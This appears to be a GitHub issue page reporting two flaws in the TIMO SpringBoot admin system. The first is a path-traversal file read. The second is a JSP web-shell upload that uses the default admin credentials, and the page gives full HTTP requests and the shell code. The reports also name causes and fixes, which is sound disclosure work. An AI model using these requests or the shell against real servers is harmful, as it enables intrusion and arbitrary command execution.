TIMO后台管理系统，基于SpringBoot2.0 + Spring Data Jpa + Thymeleaf + Shiro 开发的后台管理系统，采用分模块的方式便于开发和维护，支持前后台模块分别部署，目前支持的功能有：权限管理、部门管理、字典管理、日志记录、文件上传、代码生成等，为快速开发后台系统而生的脚手架！交流群：941209502(已满)、545633945
Home Page: http://www.linln.cn
License: MIT License
在业务接口项目启动时，自动启动Timo系统并访问（类似swagger和driud集成那样），应该如何改造？
[Vulnerability type]
arbitrary file read
[proof]
First we create a file flag.txt in D:\apache-tomcat-9.0.79\webapps\ROOT\flag.txt. The content of the file is "flag{this_is_flag}".
Then we send the http package:
GET /system/user/picture?p=/../flag.txt HTTP/1.1
Host: localhost:8080
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/system/menu/edit/6
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1701849099,1701995116; JSESSIONID=dd7cb592-38d0-415e-93e8-e79fb3b2de25
Connection: close
Response:
[Causes of Vulnerability]
If we pass the parameter p, it will use p as a part of image path. So we can pass ../../...... to read arbitrary file in the system.
[Fix suggesion]
Add filter to forbidden ".."
[Vulnerability type]
remote command execution
[Exploit]
start project with Tomcat:
log in as admin use default account admin/123456
send http package:
POST /upload/image HTTP/1.1
Host: localhost:8080
Content-Length: 279
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycmnNKqG4xKTyH1xG
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/dev/build
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1701849099,1701995116; JSESSIONID=bd38c610-5e87-4046-9a18-4489536b2379
Connection: close
------WebKitFormBoundarycmnNKqG4xKTyH1xG
Content-Disposition: form-data; name="image"; filename="JustAPic.jsp"
Content-Type: image/jpeg
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
------WebKitFormBoundarycmnNKqG4xKTyH1xG--
Then we get response:
Then we can execute arbitrary cmd in jsp trojan.
http://localhost:8080/upload/images/20240103/16b524e10f8b4dc0aaf0acb139effc8d.jsp?cmd=calc
There is no filetype restriction in admin/src/main/java/com/linln/admin/system/controller/UploadController.java. Just add some filters to fix this problem.
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
Django
The Web framework for perfectionists with deadlines.
Laravel
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft
Open source projects and samples from Microsoft.
Google
Google ❤️ Open Source for everyone.
Alibaba
Alibaba Open Source for everyone
D3
Data-Driven Documents codes.
Tencent
China tencent open source team.